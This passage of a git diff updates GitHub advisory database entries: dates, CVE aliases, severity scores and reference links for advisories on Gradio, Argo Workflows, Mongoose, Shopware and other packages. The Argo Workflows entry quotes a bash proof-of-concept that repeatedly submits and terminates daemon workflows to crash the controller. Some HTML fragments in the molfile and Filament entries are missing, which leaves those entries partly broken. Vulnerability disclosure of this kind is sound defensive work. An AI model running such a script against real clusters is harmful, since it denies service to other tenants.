"GHSA-mmqv-m45h-q2hp", - "modified": "2022-03-14T23:59:01Z", + "modified": "2026-01-16T14:47:29Z", "published": "2020-09-04T15:22:40Z", "aliases": [], "summary": "Sandbox Breakout / Arbitrary Code Execution in localeval", @@ -18,7 +18,7 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "0.0.0" + "introduced": "0" }, { "fixed": "15.3.0" diff --git a/advisories/github-reviewed/2020/10/GHSA-6495-8jvh-f28x/GHSA-6495-8jvh-f28x.json b/advisories/github-reviewed/2020/10/GHSA-6495-8jvh-f28x/GHSA-6495-8jvh-f28x.json index 511e745f323de..7967e68745ad9 100644 --- a/advisories/github-reviewed/2020/10/GHSA-6495-8jvh-f28x/GHSA-6495-8jvh-f28x.json +++ b/advisories/github-reviewed/2020/10/GHSA-6495-8jvh-f28x/GHSA-6495-8jvh-f28x.json @@ -1,9 +1,11 @@ { "schema_version": "1.4.0", "id": "GHSA-6495-8jvh-f28x", - "modified": "2021-10-04T21:23:14Z", + "modified": "2026-01-22T22:29:16Z", "published": "2020-10-02T15:39:54Z", - "aliases": [], + "aliases": [ + "CVE-2020-24807" + ], "summary": "File restriction bypass in socket.io-file", "details": "All versions of `socket.io-file`are vulnerable to a file restriction bypass. The validation for valid file types only happens on the client-side, which allows an attacker to intercept the Websocket request post-validation and alter the `name` value to upload any file types.\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": [ diff --git a/advisories/github-reviewed/2021/03/GHSA-5mg8-w23w-74h3/GHSA-5mg8-w23w-74h3.json b/advisories/github-reviewed/2021/03/GHSA-5mg8-w23w-74h3/GHSA-5mg8-w23w-74h3.json index 1c32e88eef1cb..a20e6bc61de8e 100644 --- a/advisories/github-reviewed/2021/03/GHSA-5mg8-w23w-74h3/GHSA-5mg8-w23w-74h3.json +++ b/advisories/github-reviewed/2021/03/GHSA-5mg8-w23w-74h3/GHSA-5mg8-w23w-74h3.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-5mg8-w23w-74h3", - "modified": "2023-08-18T15:56:36Z", + "modified": "2026-02-23T22:45:53Z", "published": "2021-03-25T17:04:19Z", "aliases": [ "CVE-2020-8908" ], "summary": "Information Disclosure in Guava", - "details": "A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method.\n", + "details": "A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method.", "severity": [ { "type": "CVSS_V3", diff --git a/advisories/github-reviewed/2021/03/GHSA-gmrf-99gw-vvwj/GHSA-gmrf-99gw-vvwj.json b/advisories/github-reviewed/2021/03/GHSA-gmrf-99gw-vvwj/GHSA-gmrf-99gw-vvwj.json index 75b02e5570f41..ccb0d7fbb951d 100644 --- a/advisories/github-reviewed/2021/03/GHSA-gmrf-99gw-vvwj/GHSA-gmrf-99gw-vvwj.json +++ b/advisories/github-reviewed/2021/03/GHSA-gmrf-99gw-vvwj/GHSA-gmrf-99gw-vvwj.json @@ -1,12 +1,19 @@ { "schema_version": "1.4.0", "id": "GHSA-gmrf-99gw-vvwj", - "modified": "2021-03-11T17:41:49Z", + "modified": "2026-02-03T17:38:56Z", "published": "2021-03-11T17:42:08Z", - "aliases": [], + "aliases": [ + "CVE-2021-46876" + ], "summary": "/user/sessions endpoint allows detecting valid accounts", "details": "This Security Advisory is about a vulnerability in eZ Platform v1.13, v2.5, and v3.2, and in Ibexa DXP and Ibexa Open Source v3.3. The /user/sessions endpoint can let an attacker detect if a given username or email refers to a valid account. This can be detected through differences in the response data or response time of certain requests. The fix ensures neither attack is possible. The fix is distributed via Composer.\n\nIf you come across a security issue in our products, here is how you can report it to us: https://doc.ibexa.co/en/latest/guide/reporting_issues/#toc", - "severity": [], + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" + } + ], "affected": [ { "package": { @@ -58,10 +65,18 @@ "type": "WEB", "url": "https://github.com/ezsystems/ezpublish-kernel/security/advisories/GHSA-gmrf-99gw-vvwj" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46876" + }, { "type": "WEB", "url": "https://github.com/ezsystems/ezpublish-kernel/commit/b496f073c3f03707d3531a6941dc098b84e3cbed" }, + { + "type": "PACKAGE", + "url": "https://github.com/ezsystems/ezpublish-kernel" + }, { "type": "WEB", "url": "https://packagist.org/packages/ezsystems/ezpublish-kernel" @@ -71,7 +86,7 @@ "cwe_ids": [ "CWE-203" ], - "severity": "HIGH", + "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2021-03-11T17:41:49Z", "nvd_published_at": null diff --git a/advisories/github-reviewed/2021/03/GHSA-h9q8-5gv2-v6mg/GHSA-h9q8-5gv2-v6mg.json b/advisories/github-reviewed/2021/03/GHSA-h9q8-5gv2-v6mg/GHSA-h9q8-5gv2-v6mg.json index 49768871ea564..5183af4f174d3 100644 --- a/advisories/github-reviewed/2021/03/GHSA-h9q8-5gv2-v6mg/GHSA-h9q8-5gv2-v6mg.json +++ b/advisories/github-reviewed/2021/03/GHSA-h9q8-5gv2-v6mg/GHSA-h9q8-5gv2-v6mg.json @@ -1,9 +1,11 @@ { "schema_version": "1.4.0", "id": "GHSA-h9q8-5gv2-v6mg", - "modified": "2021-03-12T22:10:34Z", + "modified": "2026-02-02T21:01:07Z", "published": "2021-03-12T23:09:08Z", - "aliases": [], + "aliases": [ + "CVE-2021-32710" + ], "summary": "Potential Session Hijacking", "details": "### Impact\nPotential session hijacking of store customers.\n\n### Patches\nWe recommend to update to the current version 6.3.5.2. You can get the update to 6.3.5.2 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-03-2021", "severity": [], @@ -36,10 +38,18 @@ "type": "WEB", "url": "https://github.com/shopware/platform/security/advisories/GHSA-h9q8-5gv2-v6mg" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32710" + }, { "type": "WEB", "url": "https://github.com/shopware/platform/commit/010c0154bea57c1fca73277c7431d029db7a972e" }, + { + "type": "PACKAGE", + "url": "https://github.com/shopware/shopware" + }, { "type": "WEB", "url": "https://packagist.org/packages/shopware/platform" diff --git a/advisories/github-reviewed/2021/03/GHSA-mrvj-7q4f-5p42/GHSA-mrvj-7q4f-5p42.json b/advisories/github-reviewed/2021/03/GHSA-mrvj-7q4f-5p42/GHSA-mrvj-7q4f-5p42.json index 0bfd959c8dfff..7c159f69de7c0 100644 --- a/advisories/github-reviewed/2021/03/GHSA-mrvj-7q4f-5p42/GHSA-mrvj-7q4f-5p42.json +++ b/advisories/github-reviewed/2021/03/GHSA-mrvj-7q4f-5p42/GHSA-mrvj-7q4f-5p42.json @@ -1,9 +1,11 @@ { "schema_version": "1.4.0", "id": "GHSA-mrvj-7q4f-5p42", - "modified": "2021-03-19T19:56:16Z", + "modified": "2026-02-02T19:55:39Z", "published": "2021-03-19T19:56:42Z", - "aliases": [], + "aliases": [ + "CVE-2021-46875" + ], "summary": "Cross-site scripting in eZ Platform Kernel", "details": "### Impact\nIn file upload it is possible by certain means to upload files like .html and .js. These may contain XSS exploits which will be run when links to them are accessed by victims.\n\n### Patches\nThe fix consists simply of adding common types of scriptable file types to the configuration of the already existing filetype blacklist feature. See \"Patched versions\". As such, this can also be done manually, without installing the patched versions. This may be relevant if you are currently running a considerably older version of the kernel package and don't want to upgrade it at this time. Please see the settting \"ezsettings.default.io.file_storage.file_type_blacklist\" at:\nhttps://github.com/ezsystems/ezplatform-kernel/blob/master/eZ/Bundle/EzPublishCoreBundle/Resources/config/default_settings.yml#L109\n\n### Important note\nYou should adapt this setting to your needs. Do not add file types to the blacklist that you actually need to be able to upload. For instance, if you need your editors to be able to upload SVG files, then don't blacklist that. Instead, you could e.g. use an approval workflow for such content.", "severity": [], @@ -102,10 +104,18 @@ "type": "WEB", "url": "https://github.com/ezsystems/ezpublish-kernel/security/advisories/GHSA-mrvj-7q4f-5p42" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46875" + }, { "type": "WEB", "url": "https://github.com/ezsystems/ezpublish-kernel/commit/29fecd2afe86f763510f10c02f14962d028f311b" }, + { + "type": "PACKAGE", + "url": "https://github.com/ezsystems/ezpublish-kernel" + }, { "type": "WEB", "url": "https://packagist.org/packages/ezsystems/ezplatform-kernel#v1.2.5.1" diff --git a/advisories/github-reviewed/2021/04/GHSA-2pwh-52h7-7j84/GHSA-2pwh-52h7-7j84.json b/advisories/github-reviewed/2021/04/GHSA-2pwh-52h7-7j84/GHSA-2pwh-52h7-7j84.json index 7f8002bfc6aa3..d74865b99db4a 100644 --- a/advisories/github-reviewed/2021/04/GHSA-2pwh-52h7-7j84/GHSA-2pwh-52h7-7j84.json +++ b/advisories/github-reviewed/2021/04/GHSA-2pwh-52h7-7j84/GHSA-2pwh-52h7-7j84.json @@ -1,12 +1,19 @@ { "schema_version": "1.4.0", "id": "GHSA-2pwh-52h7-7j84", - "modified": "2021-04-13T17:35:23Z", + "modified": "2026-01-22T20:36:39Z", "published": "2021-04-16T19:52:49Z", - "aliases": [], + "aliases": [ + "CVE-2024-0758" + ], "summary": "JavaScript execution via malicious molfiles (XSS)", "details": "### Impact\nThe viewer plugin implementation of `` renders molfile data directly inside a ` $state,\n])>\n```\n\nSince Laravel does not escape special characters within the `@style` Blade directive, the effective output HTML would be:\n\n```html\n
\n```\n\nCreating the opportunity for arbitrary JS to run if it was stored in the database.\n\n### Response\n\nThis vulnerability (in `ColorColumn` only) was reported by @sv-LayZ, who reported the issue and patched the issue during the evening of 25/09/2024. Thank you Mattis.\n\nThe review process concluded on 27/09/2024, which revealed the issue was also present in `ColorEntry`. This was fixed the same day and Filament [v3.2.115](https://github.com/filamentphp/filament/releases/tag/v3.2.115) followed to escape any special characters while outputting inline styles like this:\n\n```blade\n
$state,\n])>
\n```\n\nAlthough these components are no longer vulnerable to this type of XSS attack, it is good practice to validate colors, and since many Filament users may be accepting color input using the `ColorPicker` form component, [additional color validation documentation was published](https://filamentphp.com/docs/3.x/forms/fields/color-picker#color-picker-validation).", - "severity": [], + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N" + } + ], "affected": [ { "package": { @@ -71,7 +76,7 @@ "cwe_ids": [ "CWE-79" ], - "severity": "CRITICAL", + "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2024-09-27T20:51:01Z", "nvd_published_at": "2024-09-27T21:15:03Z" diff --git a/advisories/github-reviewed/2024/09/GHSA-m842-4qm8-7gpq/GHSA-m842-4qm8-7gpq.json b/advisories/github-reviewed/2024/09/GHSA-m842-4qm8-7gpq/GHSA-m842-4qm8-7gpq.json index 0b25720083def..fd4e9d28c4f30 100644 --- a/advisories/github-reviewed/2024/09/GHSA-m842-4qm8-7gpq/GHSA-m842-4qm8-7gpq.json +++ b/advisories/github-reviewed/2024/09/GHSA-m842-4qm8-7gpq/GHSA-m842-4qm8-7gpq.json @@ -1,9 +1,11 @@ { "schema_version": "1.4.0", "id": "GHSA-m842-4qm8-7gpq", - "modified": "2024-09-25T21:48:24Z", + "modified": "2026-02-03T17:39:09Z", "published": "2024-09-25T21:48:24Z", - "aliases": [], + "aliases": [ + "CVE-2024-1728" + ], "summary": "Gradio allows users to access arbitrary files", "details": "### Impact\nThis vulnerability allows users of Gradio applications that have a public link (such as on Hugging Face Spaces) to access files on the machine hosting the Gradio application. This involves intercepting and modifying the network requests made by the Gradio app to the server. \n\n### Patches\nYes, the problem has been patched in Gradio version 4.19.2 or higher. We have no knowledge of this exploit being used against users of Gradio applications, but we encourage all users to upgrade to Gradio 4.19.2 or higher.\n\nFixed in: https://github.com/gradio-app/gradio/commit/16fbe9cd0cffa9f2a824a0165beb43446114eec7\nCVE: https://nvd.nist.gov/vuln/detail/CVE-2024-1728", "severity": [ @@ -42,6 +44,10 @@ "type": "WEB", "url": "https://github.com/gradio-app/gradio/security/advisories/GHSA-m842-4qm8-7gpq" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1728" + }, { "type": "WEB", "url": "https://github.com/gradio-app/gradio/commit/16fbe9cd0cffa9f2a824a0165beb43446114eec7" @@ -49,10 +55,16 @@ { "type": "PACKAGE", "url": "https://github.com/gradio-app/gradio" + }, + { + "type": "WEB", + "url": "https://huntr.com/bounties/9bb33b71-7995-425d-91cc-2c2a2f2a068a" } ], "database_specific": { - "cwe_ids": [], + "cwe_ids": [ + "CWE-22" + ], "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2024-09-25T21:48:24Z", diff --git a/advisories/github-reviewed/2024/10/GHSA-ghjw-32xw-ffwr/GHSA-ghjw-32xw-ffwr.json b/advisories/github-reviewed/2024/10/GHSA-ghjw-32xw-ffwr/GHSA-ghjw-32xw-ffwr.json index 8f3f9c8f82fe9..4e885f567f4ba 100644 --- a/advisories/github-reviewed/2024/10/GHSA-ghjw-32xw-ffwr/GHSA-ghjw-32xw-ffwr.json +++ b/advisories/github-reviewed/2024/10/GHSA-ghjw-32xw-ffwr/GHSA-ghjw-32xw-ffwr.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-ghjw-32xw-ffwr", - "modified": "2024-10-30T18:50:25Z", + "modified": "2026-02-06T21:31:12Z", "published": "2024-10-28T18:28:03Z", "aliases": [ "CVE-2024-47827" ], "summary": "Argo Workflows Controller: Denial of Service via malicious daemon Workflows", - "details": "### Summary\n\nDue to a race condition in a global variable, the argo workflows controller can be made to crash on-command by any user with access to execute a workflow.\n\nThis was resolved by https://github.com/argoproj/argo-workflows/pull/13641\n\n### Details\n\nThese two lines introduce a data race in the underlying SPDY implementation of the Kubernetes API client. If a second request is made before the first completes, it results in a panic due to a null pointer.\n* https://github.com/argoproj/argo-workflows/blob/ce7f9bfb9b45f009b3e85fabe5e6410de23c7c5f/workflow/metrics/metrics_k8s_request.go#L49\n* https://github.com/argoproj/argo-workflows/blob/ce7f9bfb9b45f009b3e85fabe5e6410de23c7c5f/workflow/metrics/metrics_k8s_request.go#L75\n\nThis appears to have been added in this commit https://github.com/argoproj/argo-workflows/commit/9756babd0ed589d1cd24592f05725f748f74130b / #13265 / v3.6.0-rc1\n\n### PoC\n\nWith the `KUBECONFIG` variable set to an appropriate file with `create` permissions for the `Workflow` kind, execute the following bash script:\n\n```bash\n#!/bin/bash -xeu\n\nwhile true ; do\n name=$(\n { argo submit /dev/stdin <<'EOF'\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n generateName: curl-\nspec:\n entrypoint: main\n templates:\n - name: main\n dag:\n tasks:\n - name: no-op\n template: no-op\n withSequence:\n count: 3\n - name: no-op\n daemon: true\n container:\n image: alpine:3.13\n command: [sleep, infinity]\nEOF\n } | head -n1 | awk '{ print $2 }'\n )\n ( sleep 30; argo terminate $name ) &\n sleep 15\ndone\n```\n\nThis script creates, and subsequently cleans up, multiple `daemon` pods in rapid succession. Each pod cleanup involves executing a `kill` instruction using the Kubernetes `exec` API, triggering the conditions for the panic. This can be seen when the tests mark the pods as complete, but the workflow itself never completes. Observing the controller logs when this happens shows the panic and restart of the controller every few seconds. In a setup with exponential backoff (e.g. a Kubernetes Pod) this is enough to reliably cause crashes enough to extend this backoff significantly and leave other workflows stalled.\n\nBecause the restarted controller believes it has sent the `kill` signal, it will wait indefinitely for the pod to terminate, which it never will, so the attack must constantly garbage-collect its own workflows with the `argo terminate` command, otherwise the maximum concurrently running workflows will be reached. A more sophisticated attack could detect when the workflow has been signaled to clean up and terminate it then instead of relying on a simple timer.\n\n### Impact\n\nA malicious user with access to create workflows can continually submit workflows that do nothing except create and then clean up multiple daemon pods, resulting in a crash-loop that prevents other users' workflows from running. This can be done with only a handful of pods and very little cpu and memory, meaning typical multi-tenant Kubernetes controls such as Pod count and resource quotas are not effective at preventing it.\n\nBecause the panic log does not in any way suggest that the issue has anything to do with the daemon pods, and an attacker could easily disguise these daemon pods as part of a genuine workflow, it would be difficult for administrators to discover the root cause of the DoS and the individuals responsible to remove their access.\n", + "details": "### Summary\n\nDue to a race condition in a global variable, the argo workflows controller can be made to crash on-command by any user with access to execute a workflow.\n\nThis was resolved by https://github.com/argoproj/argo-workflows/pull/13641\n\n### Details\n\nThese two lines introduce a data race in the underlying SPDY implementation of the Kubernetes API client. If a second request is made before the first completes, it results in a panic due to a null pointer.\n* https://github.com/argoproj/argo-workflows/blob/ce7f9bfb9b45f009b3e85fabe5e6410de23c7c5f/workflow/metrics/metrics_k8s_request.go#L49\n* https://github.com/argoproj/argo-workflows/blob/ce7f9bfb9b45f009b3e85fabe5e6410de23c7c5f/workflow/metrics/metrics_k8s_request.go#L75\n\nThis appears to have been added in this commit https://github.com/argoproj/argo-workflows/commit/9756babd0ed589d1cd24592f05725f748f74130b / #13265 / v3.6.0-rc1\n\n### PoC\n\nWith the `KUBECONFIG` variable set to an appropriate file with `create` permissions for the `Workflow` kind, execute the following bash script:\n\n```bash\n#!/bin/bash -xeu\n\nwhile true ; do\n name=$(\n { argo submit /dev/stdin <<'EOF'\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n generateName: curl-\nspec:\n entrypoint: main\n templates:\n - name: main\n dag:\n tasks:\n - name: no-op\n template: no-op\n withSequence:\n count: 3\n - name: no-op\n daemon: true\n container:\n image: alpine:3.13\n command: [sleep, infinity]\nEOF\n } | head -n1 | awk '{ print $2 }'\n )\n ( sleep 30; argo terminate $name ) &\n sleep 15\ndone\n```\n\nThis script creates, and subsequently cleans up, multiple `daemon` pods in rapid succession. Each pod cleanup involves executing a `kill` instruction using the Kubernetes `exec` API, triggering the conditions for the panic. This can be seen when the tests mark the pods as complete, but the workflow itself never completes. Observing the controller logs when this happens shows the panic and restart of the controller every few seconds. In a setup with exponential backoff (e.g. a Kubernetes Pod) this is enough to reliably cause crashes enough to extend this backoff significantly and leave other workflows stalled.\n\nBecause the restarted controller believes it has sent the `kill` signal, it will wait indefinitely for the pod to terminate, which it never will, so the attack must constantly garbage-collect its own workflows with the `argo terminate` command, otherwise the maximum concurrently running workflows will be reached. A more sophisticated attack could detect when the workflow has been signaled to clean up and terminate it then instead of relying on a simple timer.\n\n### Impact\n\nA malicious user with access to create workflows can continually submit workflows that do nothing except create and then clean up multiple daemon pods, resulting in a crash-loop that prevents other users' workflows from running. This can be done with only a handful of pods and very little cpu and memory, meaning typical multi-tenant Kubernetes controls such as Pod count and resource quotas are not effective at preventing it.\n\nBecause the panic log does not in any way suggest that the issue has anything to do with the daemon pods, and an attacker could easily disguise these daemon pods as part of a genuine workflow, it would be difficult for administrators to discover the root cause of the DoS and the individuals responsible to remove their access.", "severity": [ { "type": "CVSS_V3", diff --git a/advisories/github-reviewed/2024/10/GHSA-r2jw-c95q-rj29/GHSA-r2jw-c95q-rj29.json b/advisories/github-reviewed/2024/10/GHSA-r2jw-c95q-rj29/GHSA-r2jw-c95q-rj29.json index 6f2254f1e568d..f382aab704776 100644 --- a/advisories/github-reviewed/2024/10/GHSA-r2jw-c95q-rj29/GHSA-r2jw-c95q-rj29.json +++ b/advisories/github-reviewed/2024/10/GHSA-r2jw-c95q-rj29/GHSA-r2jw-c95q-rj29.json @@ -1,13 +1,12 @@ { "schema_version": "1.4.0", "id": "GHSA-r2jw-c95q-rj29", - "modified": "2024-10-02T17:57:49Z", + "modified": "2025-12-29T22:23:36Z", "published": "2024-10-02T06:30:26Z", - "aliases": [ - "CVE-2024-21530" - ], - "summary": "cocoon Reuses a Nonce, Key Pair in Encryption", - "details": "Versions of the package cocoon before 0.4.0 are vulnerable to Reusing a Nonce, Key Pair in Encryption when the encrypt, wrap, and dump functions are sequentially called. An attacker can generate the same ciphertext by creating a new encrypted message with the same cocoon object.\n\n**Note:**\nThe issue does NOT affect objects created with Cocoon::new which utilizes ThreadRng.", + "withdrawn": "2025-12-29T22:23:36Z", + "aliases": [], + "summary": "Duplicate Advisory: cocoon Reuses a Nonce, Key Pair in Encryption", + "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-6878-6wc2-pf5h. This link is maintained to preserve external references.\n\n### Original Description\nVersions of the package cocoon before 0.4.0 are vulnerable to Reusing a Nonce, Key Pair in Encryption when the encrypt, wrap, and dump functions are sequentially called. An attacker can generate the same ciphertext by creating a new encrypted message with the same cocoon object.\n\n**Note:**\nThe issue does NOT affect objects created with Cocoon::new which utilizes ThreadRng.", "severity": [ { "type": "CVSS_V3", diff --git a/advisories/github-reviewed/2024/11/GHSA-9c3x-r3wp-mgxm/GHSA-9c3x-r3wp-mgxm.json b/advisories/github-reviewed/2024/11/GHSA-9c3x-r3wp-mgxm/GHSA-9c3x-r3wp-mgxm.json index c878efbc70e03..b5c877f23fa24 100644 --- a/advisories/github-reviewed/2024/11/GHSA-9c3x-r3wp-mgxm/GHSA-9c3x-r3wp-mgxm.json +++ b/advisories/github-reviewed/2024/11/GHSA-9c3x-r3wp-mgxm/GHSA-9c3x-r3wp-mgxm.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-9c3x-r3wp-mgxm", - "modified": "2024-11-13T18:51:04Z", + "modified": "2026-01-12T19:08:03Z", "published": "2024-11-06T15:16:09Z", "aliases": [ "CVE-2024-50342" diff --git a/advisories/github-reviewed/2024/12/GHSA-4v5x-9m47-cqr2/GHSA-4v5x-9m47-cqr2.json b/advisories/github-reviewed/2024/12/GHSA-4v5x-9m47-cqr2/GHSA-4v5x-9m47-cqr2.json index 5c84dfcfaf465..0e0d2a814da7f 100644 --- a/advisories/github-reviewed/2024/12/GHSA-4v5x-9m47-cqr2/GHSA-4v5x-9m47-cqr2.json +++ b/advisories/github-reviewed/2024/12/GHSA-4v5x-9m47-cqr2/GHSA-4v5x-9m47-cqr2.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-4v5x-9m47-cqr2", - "modified": "2025-04-17T21:30:43Z", + "modified": "2026-01-29T02:38:40Z", "published": "2024-12-09T21:31:02Z", "withdrawn": "2025-03-25T21:48:41Z", "aliases": [], @@ -39,10 +39,34 @@ "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12369" }, + { + "type": "WEB", + "url": "https://github.com/wildfly-security/wildfly-elytron/pull/2253" + }, + { + "type": "WEB", + "url": "https://github.com/wildfly-security/wildfly-elytron/pull/2261" + }, + { + "type": "WEB", + "url": "https://github.com/wildfly-security/wildfly-elytron/commit/5ac5e6bbcba58883b3cebb2ddbcec4de140c5ceb" + }, + { + "type": "WEB", + "url": "https://github.com/wildfly-security/wildfly-elytron/commit/d7754f5a6a91ceb0f4dbbbfe301991f6a55404cb" + }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2025:3989" }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2025:3990" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2025:3992" + }, { "type": "WEB", "url": "https://access.redhat.com/security/cve/CVE-2024-12369" diff --git a/advisories/github-reviewed/2024/12/GHSA-jcxm-7wvp-g6p5/GHSA-jcxm-7wvp-g6p5.json b/advisories/github-reviewed/2024/12/GHSA-jcxm-7wvp-g6p5/GHSA-jcxm-7wvp-g6p5.json index d0763fde8d148..1429beb5ccaa5 100644 --- a/advisories/github-reviewed/2024/12/GHSA-jcxm-7wvp-g6p5/GHSA-jcxm-7wvp-g6p5.json +++ b/advisories/github-reviewed/2024/12/GHSA-jcxm-7wvp-g6p5/GHSA-jcxm-7wvp-g6p5.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-jcxm-7wvp-g6p5", - "modified": "2024-12-04T19:56:49Z", + "modified": "2026-01-22T20:49:01Z", "published": "2024-12-04T18:09:24Z", "aliases": [ "CVE-2024-54134" ], "summary": "Modified package published to npm, containing malware that exfiltrates private key material", - "details": "Earlier today, a publish-access account was compromised for `@solana/web3.js`, a JavaScript library that is commonly used by Solana dapps. This allowed an attacker to publish unauthorized and malicious packages that were modified, allowing them to steal private key material and drain funds from dapps, like bots, that handle private keys directly. This issue should not affect non-custodial wallets, as they generally do not expose private keys during transactions. This is not an issue with the Solana protocol itself, but with a specific JavaScript client library and only appears to affect projects that directly handle private keys and that updated within the window of 3:20pm UTC and 8:25pm UTC on Tuesday, December 3, 2024.\n\nThese two unauthorized versions (1.95.6 and 1.95.7) were caught within hours and have since been unpublished.\n\nWe are asking all Solana app developers to upgrade to version 1.95.8. Developers pinned to `latest` should also upgrade to 1.95.8.\n\nDevelopers that suspect they might be compromised should rotate any suspect authority keys, including multisigs, program authorities, server keypairs, and so on.\n", + "details": "Earlier today, a publish-access account was compromised for `@solana/web3.js`, a JavaScript library that is commonly used by Solana dapps. This allowed an attacker to publish unauthorized and malicious packages that were modified, allowing them to steal private key material and drain funds from dapps, like bots, that handle private keys directly. This issue should not affect non-custodial wallets, as they generally do not expose private keys during transactions. This is not an issue with the Solana protocol itself, but with a specific JavaScript client library and only appears to affect projects that directly handle private keys and that updated within the window of 3:20pm UTC and 8:25pm UTC on Tuesday, December 3, 2024.\n\nThese two unauthorized versions (1.95.6 and 1.95.7) were caught within hours and have since been unpublished.\n\nWe are asking all Solana app developers to upgrade to version 1.95.8. Developers pinned to `latest` should also upgrade to 1.95.8.\n\nDevelopers that suspect they might be compromised should rotate any suspect authority keys, including multisigs, program authorities, server keypairs, and so on.", "severity": [ { "type": "CVSS_V4", diff --git a/advisories/github-reviewed/2024/12/GHSA-jhh6-6fhp-q2xp/GHSA-jhh6-6fhp-q2xp.json b/advisories/github-reviewed/2024/12/GHSA-jhh6-6fhp-q2xp/GHSA-jhh6-6fhp-q2xp.json index 98c6ddc99d592..c0b3bcd45dfe2 100644 --- a/advisories/github-reviewed/2024/12/GHSA-jhh6-6fhp-q2xp/GHSA-jhh6-6fhp-q2xp.json +++ b/advisories/github-reviewed/2024/12/GHSA-jhh6-6fhp-q2xp/GHSA-jhh6-6fhp-q2xp.json @@ -67,6 +67,7 @@ ], "database_specific": { "cwe_ids": [ + "CWE-266", "CWE-501" ], "severity": "HIGH", diff --git a/advisories/github-reviewed/2024/12/GHSA-m7xq-9374-9rvx/GHSA-m7xq-9374-9rvx.json b/advisories/github-reviewed/2024/12/GHSA-m7xq-9374-9rvx/GHSA-m7xq-9374-9rvx.json index 2f1deb6133d42..df342fd18cdbe 100644 --- a/advisories/github-reviewed/2024/12/GHSA-m7xq-9374-9rvx/GHSA-m7xq-9374-9rvx.json +++ b/advisories/github-reviewed/2024/12/GHSA-m7xq-9374-9rvx/GHSA-m7xq-9374-9rvx.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-m7xq-9374-9rvx", - "modified": "2024-12-04T16:41:00Z", + "modified": "2026-02-04T22:47:45Z", "published": "2024-12-02T21:31:20Z", "aliases": [ "CVE-2024-53900" ], "summary": "Mongoose search injection vulnerability", - "details": "Mongoose versions prior to 8.8.3, 7.8.3, and 6.13.5 are vulnerable to improper use of the $where operator. This vulnerability arises from the ability of the $where clause to execute arbitrary JavaScript code in MongoDB queries, potentially leading to code injection attacks and unauthorized access or manipulation of database data.", + "details": "Mongoose versions prior to 8.8.3, 7.8.3, 6.13.5, and 5.13.23 are vulnerable to improper use of the $where operator. This vulnerability arises from the ability of the $where clause to execute arbitrary JavaScript code in MongoDB queries, potentially leading to code injection attacks and unauthorized access or manipulation of database data.", "severity": [ { "type": "CVSS_V3", @@ -67,7 +67,7 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "0" + "introduced": "6.0.0-rc0" }, { "fixed": "6.13.5" @@ -75,6 +75,25 @@ ] } ] + }, + { + "package": { + "ecosystem": "npm", + "name": "mongoose" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.6.0-rc0" + }, + { + "fixed": "5.13.23" + } + ] + } + ] } ], "references": [ @@ -82,10 +101,22 @@ "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53900" }, + { + "type": "WEB", + "url": "https://github.com/github/advisory-database/pull/6769" + }, + { + "type": "WEB", + "url": "https://github.com/github/advisory-database/pull/6776" + }, { "type": "WEB", "url": "https://github.com/Automattic/mongoose/commit/33679bcf8ca43d74e3e8ecd4cc224826772d805b" }, + { + "type": "WEB", + "url": "https://github.com/Automattic/mongoose/commit/bbb6fa7ecb44bbaf5bea955d886378a1247bce0b" + }, { "type": "WEB", "url": "https://github.com/Automattic/mongoose/commit/c9e86bff7eef477da75a29af62a06d41a835a156" diff --git a/advisories/github-reviewed/2024/12/GHSA-xx83-cxmq-x89m/GHSA-xx83-cxmq-x89m.json b/advisories/github-reviewed/2024/12/GHSA-xx83-cxmq-x89m/GHSA-xx83-cxmq-x89m.json index e05121512ba10..4deb56f7abffc 100644 --- 